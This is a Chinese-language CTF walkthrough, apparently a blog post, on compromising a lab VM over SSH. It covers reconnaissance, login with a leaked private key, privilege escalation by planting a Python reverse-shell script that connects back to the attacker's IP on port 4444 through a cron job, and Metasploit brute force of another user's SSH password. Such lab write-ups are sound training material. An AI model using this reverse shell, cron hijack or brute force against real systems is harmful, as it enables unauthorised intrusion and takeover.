CTF练习:SSH服务渗透root主机

CTF练习:SSH服务渗透root主机

  • 环境准备
  • 信息收集
  • 进入靶机
  • 背水一战

靶机地址:
链接:https://pan.baidu.com/s/1DI6yPW1ePTsT1U9mqgVZTw
提取码:lwr0

环境准备

开启两台机器,一台靶机一台kali攻击机,配置好桥接网络,使其在同一网段内。
查看攻击机kali的IP,为172.19.75.213
CTF练习:SSH服务渗透root主机_第1张图片
查看靶机的IP,为172.19.75.198

netdiscover -r 172.19.75.1/24

CTF练习:SSH服务渗透root主机_第2张图片
ping一下,测试连通性,没问题,开始信息收集。
CTF练习:SSH服务渗透root主机_第3张图片

信息收集

探测靶场开放的服务与服务的版本

nmap -sV 172.19.75.198

CTF练习:SSH服务渗透root主机_第4张图片
看到了80端口,那我们去访问一下IP地址,发现是一个公司的网页页面,在那里具有一些信息,人名之类的,留意一下,可能就是用户名,突然社工,嘿嘿。
CTF练习:SSH服务渗透root主机_第5张图片
继续深度探测

dirb http://172.19.75.198/

CTF练习:SSH服务渗透root主机_第6张图片
打开可疑链接,发现很多文件,其中VDSoyuAXiO.txt是我们需要的秘钥文件CTF练习:SSH服务渗透root主机_第7张图片
CTF练习:SSH服务渗透root主机_第8张图片
下载下来,保存到桌面
CTF练习:SSH服务渗透root主机_第9张图片

CTF练习:SSH服务渗透root主机_第10张图片
给id_rsa赋权,进行ssh连接,使用我们刚刚发现的人名尝试,发现martin可以连接,可是要密码,尝试一下martin,成功进入靶机。
CTF练习:SSH服务渗透root主机_第11张图片

进入靶机

进入到home目录,ls一下,我们发现有三个用户名,与网站上的信息同等。
在这里插入图片描述
登陆靶机后,我们需要做以下操作。
1、查看当前用户whoami
2、id 查看当前用户的权限
3、查看根目录,寻找flag

很可惜不是root权限,需提权。
在这里插入图片描述
通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务

cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
CTF练习:SSH服务渗透root主机_第12张图片
我们再crontab中发现jimmy在/tmp文件中有一个sekurity.py文件
这时我们查看/tmp目录
CTF练习:SSH服务渗透root主机_第13张图片
我们发现没有sekurity.py文件,这时我们就可以创建反弹shell了。
我们现在靶机的home目录上创建一个1.py文件,然后在文件中写入如下程序:

#!/usr/bin/python
import os, subprocess, socket
s=socket.socket()
s.connect(("172。19.75.213",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

程序剖析:

os.dup2(fd, fd2)
os.dup2()方法用于将一个文件描述符fd复制到另一个fd2
fileno()用来取得文件描述词
如果程序只有一个os.dup2(s.fileno(),0),那么只能在靶机上创建shell,断开连接后会直接回到kali。
如果有os.dup2(s.fileno(),0) os.dup2(s.fileno(),1),也只能在靶机上创建shell,但是断开连接后还会在靶机上。

然后把1.py复制到/tmp目录并命名未sekurity.py,并赋予其可执行权限。
创建好后,我们开始在kali中监听端口
CTF练习:SSH服务渗透root主机_第14张图片
在这里插入图片描述
因为任务五分钟执行一次,我们最多等五分钟,就可以拿到shell
whoami一下,看看当前用户是谁
在这里插入图片描述
切换到 /home/用户名 目录查看是否具有可以提升root权限的文件;
很可惜,并没有有用的文件,看来只能把希望寄托在最后一个用户,hadi身上了。
CTF练习:SSH服务渗透root主机_第15张图片

背水一战

万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。
破解工具,如hydra、medusa等;

我们这次使用cupp创建字典
利用cupp创建字典

apt-get install cupp

创建密码字典文件hadi.txt,注意填好名字和添加随机数,其他略过就好。
CTF练习:SSH服务渗透root主机_第16张图片

在这里插入图片描述
hadi.txt会自行被创建
使用metasploit破解SSH
在终端输入msfconsole
CTF练习:SSH服务渗透root主机_第17张图片
我们进入了metasploit,我们使用ssh_login模块进行渗透攻击。
CTF练习:SSH服务渗透root主机_第18张图片
我们要把所有的yes都填上
CTF练习:SSH服务渗透root主机_第19张图片
我们run一下,让渗透模块自己去渗透即可。
CTF练习:SSH服务渗透root主机_第20张图片
密码为hadi123,我们发现session 1已经被建立
这时,我们进入session1
CTF练习:SSH服务渗透root主机_第21张图片
优化会话

我们发现和我们平常的终端不一样
我们使用以下命令

python -c "import pty; pty.spawn('/bin/bash')"

结果如下:
在这里插入图片描述
成为了我们想要的终端结果
接下来我们试一下提权,输入密码:hadi123进行尝试
CTF练习:SSH服务渗透root主机_第22张图片
成功进入root权限
查看/root目录,发现flag文件。
CTF练习:SSH服务渗透root主机_第23张图片
大功告成!!!!!

你可能感兴趣的:(CTF入门练习,CTF)